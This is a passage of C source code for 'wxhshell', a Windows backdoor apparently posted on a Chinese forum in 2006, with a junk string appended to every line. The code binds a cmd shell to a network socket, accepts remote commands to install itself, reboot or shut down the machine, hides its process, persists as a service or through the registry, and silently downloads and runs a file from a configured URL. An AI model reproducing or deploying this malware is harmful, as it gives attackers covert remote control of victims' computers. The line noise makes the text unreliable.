  } T@:Wp4>69  
  else { 9Zt`u,;  
5j<mbt}  
    switch(cmd[0]) { :uq\+(9  
  ,]ma+(|  
  // 帮助 tqvN0vY5  
  case '?': { D9 CaFu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J6s`'gFns  
    break; t7dt*D_YqK  
  } 4n !aW?%  
  // 安装 .9on@S  
  case 'i': { z0p*Z&  
    if(Install()) hk(ZM#Bh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <EB+1GFuI  
    else [#<-ZC#T*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I {S;L  
    break; ( iBl   
    } M=.n7RY-  
  // 卸载 <CYd+! (  
  case 'r': { j^j1  
    if(Uninstall()) \:# L)   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qPX~@^`9  
    else Sz)' ogl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H1pO!>M  
    break; =)H.c uc  
    } w(*vj  
  // 显示 wxhshell 所在路径 c)TPM/>(p  
  case 'p': { *v jmy/3  
    char svExeFile[MAX_PATH]; h:b)Wr  
    strcpy(svExeFile,"\n\r"); nX6u(U  
      strcat(svExeFile,ExeFile); -LoZs ru  
        send(wsh,svExeFile,strlen(svExeFile),0); 8`q:Gz=M\  
    break; rxgbV.tx  
    } =r?hg GWe  
  // 重启 | C;=-|  
  case 'b': { AW%#O\N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?>D+ge  
    if(Boot(REBOOT)) G\/zkrxmv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zw 26  
    else { IXMop7~  
    closesocket(wsh); ~rE|%o  
    ExitThread(0); V%7WUq  
    } knu,"<  
    break; =V, mtT  
    } vsCCB}7\  
  // 关机 qOIyub  
  case 'd': { 1y4|{7bb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }W C[$Y_@  
    if(Boot(SHUTDOWN)) n Mq,F#`3N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KVoS C @w  
    else { !=*g@mgF  
    closesocket(wsh); sQ UM~HD\a  
    ExitThread(0); ="1Ind@w!  
    } {nBhdM:i  
    break; 0rQMLx  
    } E<{ R.r  
  // 获取shell .;y.]Z/;  
  case 's': { Thp[+KP>  
    CmdShell(wsh); p,5i)nEFj  
    closesocket(wsh); Go`vfm"S  
    ExitThread(0); e8>})  
    break; A2I9R;}  
  } lLX4Gq1  
  // 退出 ,uSMQS-O'4  
  case 'x': { oA7tE u   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dc+>m,3$  
    CloseIt(wsh); !fV+z%:  
    break; O W_{$9U  
    } IA fc T!{  
  // 离开 1*P~!2h  
  case 'q': { .wEd"A&j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i^/T  
    closesocket(wsh); %^)fmu  
    WSACleanup(); L\6M^r >  
    exit(1); px A?  
    break; A9KET$i@v  
        } .Yamc#A-  
  } >2y':fO  
  } %8RrRW  
A]_7}<<N  
  // 提示信息 NlA,'`,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oM X  
} lF<]8m%F  
  } N~nziY*C,*  
+RHS!0  
  return; ^rB8? kt  
} aj-Km`5r}  
k%]3vRo<  
// shell模块句柄 YU'k#\gi*  
int CmdShell(SOCKET sock) aG-vtld  
{ $f$SNx)),  
STARTUPINFO si; |QF7 uV  
ZeroMemory(&si,sizeof(si)); nQF(vTDN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lne|5{h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BwN0!lsF3  
PROCESS_INFORMATION ProcessInfo; pE3?"YO  
char cmdline[]="cmd"; vSGH[nyCY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =eq[:K<6  
  return 0; : p1u(hflS  
} 7zl5yK N  
] 7[ 3>IN  
// 自身启动模式 v8wq,CYV  
int StartFromService(void) vRYQ{:  
{ mtpeRVcF  
typedef struct .97])E[U  
{ <jBF[v9*m(  
  DWORD ExitStatus; 9sM!`Lz{  
  DWORD PebBaseAddress; (=FRmdeYl1  
  DWORD AffinityMask; 1>.Ev,X+e  
  DWORD BasePriority; VnSCz" ?3  
  ULONG UniqueProcessId; P7ao5NP  
  ULONG InheritedFromUniqueProcessId; 3 #n_?-  
}   PROCESS_BASIC_INFORMATION; O"+ gQXe  
kl" hBK#D%  
PROCNTQSIP NtQueryInformationProcess; "-M p_O]  
=?5]()'*n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w$>u b@=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8:q1~`?5"b  
(Nq=H)cm8  
  HANDLE             hProcess; p . %]Q*8  
  PROCESS_BASIC_INFORMATION pbi; #]-SJWf3  
lPe&h]@ >  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JB\UKZXw  
  if(NULL == hInst ) return 0; p0]=QH  
mwO6g~@ `  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^23~ZHu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1wii8B6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2zX]\s?3  
B4ZBq%Z_  
  if (!NtQueryInformationProcess) return 0; ynp8r f  
YByLoM*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a6 ekG YW  
  if(!hProcess) return 0; }czrj%6  
l&[O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ),_@WW;k  
q#~ (/  
  CloseHandle(hProcess); xnjf  
]|#+zx|/D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "BAK !N$9  
if(hProcess==NULL) return 0; g9OY<w5s]  
BqEI(c 6  
HMODULE hMod; r[e##M  
char procName[255]; (xycJ`N  
unsigned long cbNeeded; ?C]vS_jAh  
-$\y_?}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OU E (I3_  
}ZYd4h|g\z  
  CloseHandle(hProcess); iG $!6;w<  
XMZ,Y7  
if(strstr(procName,"services")) return 1; // 以服务启动 @?ebuj5{e  
$yP*jO4i  
  return 0; // 注册表启动 IZf{nQ[0  
} >[f?vrz  
:x3QRF  
// 主模块 t}_r]E,{u  
int StartWxhshell(LPSTR lpCmdLine) cx,+k]9D  
{ 39c2pV[  
  SOCKET wsl; *YI98  
BOOL val=TRUE; yHYsZ,GE  
  int port=0; #Bze,?@  
  struct sockaddr_in door; UhF-K#Z9  
5{TsiZh4  
  if(wscfg.ws_autoins) Install(); 3l]lwV  
'B$yo]  
port=atoi(lpCmdLine); SZ7:u895E  
?9vuuIE  
if(port<=0) port=wscfg.ws_port; m<G,[Yc  
Lpkyoh v  
  WSADATA data; `b&%Hm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wKh4|Ka  
hw uiu*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]Ee?6]bN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %X]jaX 7  
  door.sin_family = AF_INET; ]2A^1Del  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;._ l 0Jw  
  door.sin_port = htons(port); c2SO3g\"i  
L<c4kw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d7^}tM  
closesocket(wsl); r wL`Czs  
return 1; zC:ASt  
} %fZJRu 1b  
u2 I*-K  
  if(listen(wsl,2) == INVALID_SOCKET) { n6=By|jRh  
closesocket(wsl); -/B+T>[nTb  
return 1;  0q  
} C.:<-xo  
  Wxhshell(wsl); x^qVw5{n  
  WSACleanup(); of~4Q{f$6  
CZe ]kXNv  
return 0; .#!lP/.eQP  
L< S9  
} lgAoJ[  
"9uKtQS0o  
// 以NT服务方式启动 3Aip}<1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P{`C^W$J^  
{ v~+(GqR=+  
DWORD   status = 0; GMx&y2. Z  
  DWORD   specificError = 0xfffffff; dbLZc$vPj  
G>_*djUf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f%JIp#B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^0 )g/`H^>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YMyfL8bO  
  serviceStatus.dwWin32ExitCode     = 0; FkDmP`Od  
  serviceStatus.dwServiceSpecificExitCode = 0; tFn)aa~L  
  serviceStatus.dwCheckPoint       = 0; w/<L Ag  
  serviceStatus.dwWaitHint       = 0; F;EwQjTF  
9=M$AB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7"D", 1h  
  if (hServiceStatusHandle==0) return; XW H5d-  
u#fM_>ML  
status = GetLastError(); @7c?xQVd$  
  if (status!=NO_ERROR) \7eUw,~Q>  
{ 7WqH&vU|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]mq|w  
    serviceStatus.dwCheckPoint       = 0; ~Cttzn]pR  
    serviceStatus.dwWaitHint       = 0; j_[tu!~  
    serviceStatus.dwWin32ExitCode     = status; //MUeTxR  
    serviceStatus.dwServiceSpecificExitCode = specificError; }K>d+6qk5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @{e}4s?7od  
    return; >uB?rGcM  
  } 8`{:MkXP  
;1=1:S8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r<EY]f^`u  
  serviceStatus.dwCheckPoint       = 0; QL/(72K  
  serviceStatus.dwWaitHint       = 0; Pm?KI<TH~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y<3-?}.aZ  
} V &T~zh1  
/s?`&1v|r  
// 处理NT服务事件,比如:启动、停止 # w4-aJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !|uWH  
{ W*:.Gxv]  
switch(fdwControl) $wa{~'  
{ h" W,WxL8  
case SERVICE_CONTROL_STOP: a-tmq]]E  
  serviceStatus.dwWin32ExitCode = 0; V Q@   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t}4, ]m s  
  serviceStatus.dwCheckPoint   = 0; 4at?(B+  
  serviceStatus.dwWaitHint     = 0; R\f+SvE  
  { lVa%$F{Pq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y.k~Y0  
  } JR|ck=tq  
  return; q?:dCFw$x5  
case SERVICE_CONTROL_PAUSE: (WJRi:NP?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /N .b%M] !  
  break; T!{w~'=F  
case SERVICE_CONTROL_CONTINUE: 29b9`NXt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qR{=pR  
  break; Fo_sgv8O<  
case SERVICE_CONTROL_INTERROGATE: IOH}x4  
  break; B6 ;|f'e!  
}; gD?l-RT>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dT8S~-d%  
} Or+U@vAnk  
r u%y  
// 标准应用程序主函数 #{6/ (X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :Yl-w-oe  
{ J@'wf8Ub  
p l0\2e)  
// 获取操作系统版本 BWrxunHO  
OsIsNt=GetOsVer(); P@B]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _{KG 4+5\X  
O/C rd/  
  // 从命令行安装 7}>EJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); fr3d  
eym4=k ~  
  // 下载执行文件 o.!Dq7 R  
if(wscfg.ws_downexe) {  kJ}`V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CTa57R  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4HlQ&2O%#  
} >bW #Zs,6  
a=2%4Wmz  
if(!OsIsNt) { tsjrRMR  
// 如果时win9x,隐藏进程并且设置为注册表启动 @9s$4DS  
HideProc(); Q2gq}c~  
StartWxhshell(lpCmdLine); c@7rqHU-0  
} HZge!Yp<  
else C'x&Py/#  
  if(StartFromService()) e"<OELA  
  // 以服务方式启动 K0>zxqY  
  StartServiceCtrlDispatcher(DispatchTable); 77Y/!~kd  
else l f, 5w  
  // 普通方式启动 [W&T(%(W-  
  StartWxhshell(lpCmdLine); Zy/_ E@C}u  
7[)E>XRE  
return 0; 1qA;/-Zr<o  
}
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只看该作者 1 发表于: 2006-10-10
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